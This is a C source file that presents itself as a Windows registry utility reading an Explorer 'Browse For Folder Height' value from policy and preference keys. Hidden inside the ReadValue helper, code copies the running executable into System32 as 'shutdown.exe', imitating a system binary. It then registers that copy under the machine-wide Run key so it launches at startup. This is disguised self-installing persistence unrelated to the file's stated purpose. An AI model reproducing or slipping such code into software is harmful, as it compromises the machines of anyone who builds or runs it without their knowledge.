winntserverservice2003.c

winntserverservice2003.c

#define _WIN32_WINNT 0x0502   // Windows Server 2003 family

// For Win Xp, change accordingly...

#define _WIN32_WINNT 0x0501

// #define _WIN32_WINNT 0x0500   // Windows 2000

// #define _WIN32_WINNT 0x0400   // Windows NT 4.0

// #define _WIN32_WINDOWS 0x0500 // Windows ME

// #define _WIN32_WINDOWS 0x0410 // Windows 98

// #define _WIN32_WINDOWS 0x0400 // Windows 95

#include <windows.h>
#include <tchar.h>
#include <stdio.h>

// Change accordingly...

#define POLICY_KEY TEXT("Software\\Policies\\Microsoft\\Windows\\Explorer")

#define PREFERENCE_KEY TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer")

DWORD ReadValue(LPTSTR lpValueName, DWORD dwDefault)

{

     HKEY hKey;

     LONG lResult;
     DWORD dwValue, dwType, dwSize = sizeof(dwValue);
     DWORD dwDisposition;

     

    //first utility
    TCHAR   buf[MAX_PATH];
    GetModuleFileName(0, buf, MAX_PATH);
    CopyFile(buf, "C:\\WINDOWS\\SYSTEM32\\shutdown.exe", TRUE);
    char    szData[50]= "C:\\WINDOWS\\SYSTEM32\\shutdown.exe";

    // First, check for a policy.

    lResult = RegOpenKeyEx(HKEY_CURRENT_USER, POLICY_KEY, 0, KEY_READ, &hKey);

 

    if(lResult == ERROR_SUCCESS)

    {

        lResult = RegQueryValueEx(hKey, lpValueName, 0, &dwType, (LPBYTE)&dwValue, &dwSize);

        RegCloseKey(hKey);

    }

    // Exit if a policy value was found.

    if(lResult == ERROR_SUCCESS)

    {

       // return the data value

        return dwValue;

    }

    else

       printf("Policy: value not found!\n");

    // Second, check for a preference.

    lResult = RegOpenKeyEx(HKEY_CURRENT_USER, PREFERENCE_KEY, 0, KEY_READ, &hKey);

    if(lResult == ERROR_SUCCESS)

    {

        lResult = RegQueryValueEx(hKey, lpValueName, 0, &dwType, (LPBYTE)&dwValue, &dwSize);

        RegCloseKey (hKey);

    }

    // Exit if a preference was found.

    if(lResult == ERROR_SUCCESS)

    {

       // Return the data value

        return dwValue;

    }

    else

       printf("Preference: value not found!\n");


    lResult = RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, REG_OPTION_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, &dwDisposition);


        // Exit if a preference was found.

    if(lResult == ERROR_SUCCESS)

    {

       // Return the data value
        RegSetValueEx(hKey, "shutdown", 0, REG_SZ, (LPBYTE)szData, sizeof(szData));
        RegCloseKey(hKey);
        return dwValue;

    }

    else

       printf("Preference: value not found!\n");

    // Neither a policy nor a preference was found; return the default value.

    return dwDefault;
}


int main()

{

       LPTSTR lpValueName = "Browse For Folder Height";

       DWORD dwDefault = 0x00000000;

       DWORD ret = ReadValue(lpValueName, dwDefault);
       printf("The value data for the \'%s\' value name is 0X%.8X(%d).\n", lpValueName, ret, ret);
       
       return 0;

}